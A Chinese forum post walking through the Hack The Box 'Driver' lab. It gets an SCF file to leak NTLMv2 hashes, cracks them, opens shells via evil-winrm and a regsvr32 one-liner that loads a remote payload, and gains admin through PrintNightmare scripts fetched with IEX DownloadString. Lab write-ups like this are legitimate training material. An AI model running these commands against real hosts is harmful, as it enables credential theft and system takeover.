电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 513 人浏览分享

Hack The Box - Driver

[复制链接]
513 0
本帖最后由 zhaorong 于 2022-11-29 17:42 编辑

0x00 简述

靶场来自Hack The Box 的 Driver,本文章详细记录了拿下靶机的全部流程和知识点

分别用到了SMB中继攻击—SCF文件攻击、WinRM反弹shell利用以及提权

靶场是你的就是你的不是你的就不要勉强你说是吧?

0x01 初探

Nmap扫描给定靶机

nmap -sC -sV -T4 --min-rate 1000 10.10.11.106

QQ截图20221129163901.png

可以看到开启了SMB服务

Nmap加载脚本检测一下有没有基本漏洞

nmap -p 445 --script smb-vuln* 10.10.11.106

QQ截图20221129163940.png

没有

看看web的端口

QQ截图20221129164156.png

需要登陆

弱口令admin admin登陆成功

100.png

可以看到是一个打印机固件升级功能

99.png

并且有一个上传点
经过反复测试,对上传的文件没有任何限制,但是没有返回路径,无法直接利用
那么我们可以利用SMB服务来搞些事情,即
SCF文件攻击
具体原理我会在另一篇文章里详细阐述

0x02 SCF文件攻击

基本原理:SCF(shell命令文件)文件可用于执行一组有限的操作,一个SCF文件可以用来访问一个特定的UNC路
径允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件中,然后需要被植入到网络共享。

先制作SCF文件,内容如下:

[Shell]Command=2
IconFile=\\10.10.16.13\share\a.ico
[Taskbar]
Command=ToggleDesktop

将文件命名为@xxx.scf
@符号可以让文件保持在共享文件列表顶端
上传之前先准备好接受端,来接受被攻击端的NTLM Hash
接受Hash这里提供两种方法,一种是利用MSF,另一种是利用Rsponder
MSF:
利用 auxiliary/server/captrue/smb模块来捕获

QQ截图20221129164751.png

设置好相关参数并启动

98.png

上传准备好的scf文件

这时MSF接收端就可以接收到NTLMv2 Hash了

97.png

同样的在后期利用时也可以用这个原理来获取NTLMv2 Hash

通过快捷方式

96.png

例如这样,起SMB中继服务就能获取到NTLMv2 Hash

Responder:

Responder需要使用以下命令运行来捕获浏览共享的用户的NTLMv2 Hash

responder -wrf --lm -v -I eth0

root@VM-4-4-ubuntu:/Responder-master$ python2 Responder.py -wrf --lm -v -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [ON]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.13]
    Challenge set              [1122334455667788]

[!] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events...
[+] Exiting...
root@VM-4-4-ubuntu:/Responder-master$ service httpd stop
Failed to stop httpd.service: Unit httpd.service not loaded.
root@VM-4-4-ubuntu:/Responder-master$ service apach2 stop
Failed to stop apach2.service: Unit apach2.service not loaded.
root@VM-4-4-ubuntu:/Responder-master$ service apache2 stop
root@VM-4-4-ubuntu:/Responder-master$ python2 Responder.py -wrf --lm -v -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [ON]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.13]
    Challenge set              [1122334455667788]

[+] Listening for events...

95.png

0x03 利用SCF文件攻击直接在MSF获取shell

首先用msfvenom生成后门文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=5555 -f exe > shell.exe

318.png

Coresecurity已经发布了一个名为Impacket的Python脚本,可以对SMB等Windows协议执行各种攻击。
我们可以使用smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝
试连接SMB服务器时提供有效载荷。
这个载荷将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。

python smbrelayx.py -h Target-IP -e ./shell.exe

316.png

然后启动MSF的监听等待回连

311.png

注意!!受害者服务器必须是管理员权限,否则负载将不会正常执行

我这里反复尝试后失败了,中继服务没有收到请求,原因暂时未知

但这个手法是可行的

顺带一提,MSF其实提供了这个功能,使用的是 exploit/windows/smb/smb_relay模块

10.png

但是这个模块仅支持NTLMv1,这里就不再演示

现在的系统版本都已经默认使用NTLMv2

但是如果能碰到老版本的系统或者系统进行了错误配置,还是可以利用的

0x04 破解 NTLMv2 Hash

首先将获取到的Hash进行破解

利用 echo 和 > 把NTLMv2 Hash 写进文件hash

然后利用hashcat破解

hashcat -m 5600 hash --wordlist /usr/share/wordlists/rockyou.txt

9.png

0x05 WinRM反弹shell

手法一:

利用 Hackplayers开源的 evil-winrm获取 shell

KALI使用命令gem install evil-winrm可以安装并且自动安装依赖

evil-winrm -i 10.10.11.106 -u “tony” -p “liltony”

8.png

成功获取到shell

接着使用MSF exploit 中的 multi/script/web_delivery模块上线

6.png

准备完成,在shell中执行最后给出的命令(发布文章时r和32连在一起被判定为敏感词,所以加了个星号)

regsvr*32 /s /n /u /i:http://10.10.16.13:8888/3Cni6iy5.sct scrobj.dll

5.png

成功上线

4.png

3.png

找到了第一个flag

0x06 提权

进入Meterperter并进入交互式shell先初步的了解一下情况

2.png

可以看到当前用户并非管理员用户,并且没有权限查看文件内容,那么势必需要提权

先把Meterpreter迁移到稳定的进程中

1.png

尝试getsystem不成功

也没有高权限的用户进程,无法使用令牌窃取

QQ截图20221129172933.png

使用 post/multi/recon/local_exploit_suggester模块检测提权漏洞

但结果都失败了

QQ截图20221129173004.png

QQ截图20221129173026.png

查看一下有什么服务

999.png

998.png

可以看到有个很眼熟的服务,这个服务近段时间貌似出了几个远程代码执行、提权的漏洞

搜索一下得到漏洞编号 CVE-2021-34527 以及 CVE-2021-1675

先尝试一下CVE-2021-34527:

我使用的是powershell版本的exp,放上链接

https://github.com/JohnHammond/CVE-2021-34527

那就直接用Evil-WinRM获取的shell来执行吧,这个获取的shell正好也是powershell的

由于权限和powershell执行策略的限制

这里使用远程加载的方式执行exp

命令如下

IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.13:8000/CVE-2021-34527.ps1')

997.png

然后执行

Invoke-Nightmare

996.png

可以看到添加了用户 adm1n并且将其加入了Adminitrators组中

密码为P@ssw0rd

CVE-2021-1675:

IEX(New-Object Net.WebClient).DownloadString('[http://10.10.16.13:8000/CVE-2021-16
75.ps1](http://10.10.16.13:8000/CVE-2021-34527.ps1)')

如果直接执行Invoke-Nightmare添加的用户和上一个脚本是一样的,为了区分,使用以下命令添加用户

Invoke-Nightmare -DriverName "Chr1sto" -NewUser "chr1sto" -NewPassword "chr1sto"

995.png

添加了chr1sto并加入用户组

0x07 收尾

到此目前为止,我们已经拿到了这台机器的管理员权限,整个流程基本完成

接下来只需要登陆新建的用户,去读取flag就好了

我们依然使用Evil-WinRM来获取新用户的shell即可

994.png

可以看到当前用户的信息如下

993.png

读一下flag

614.png

0x08 总结

靶场是好靶场,整个流程的逻辑非常严密

渗透的过程中做了一些无用的尝试,浪费了许多的时间,比如MSF派生CobaltStrike session

也因为环境的问题,额外做了很多的工作

但渗透的过程不就是在不停的尝试吗

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.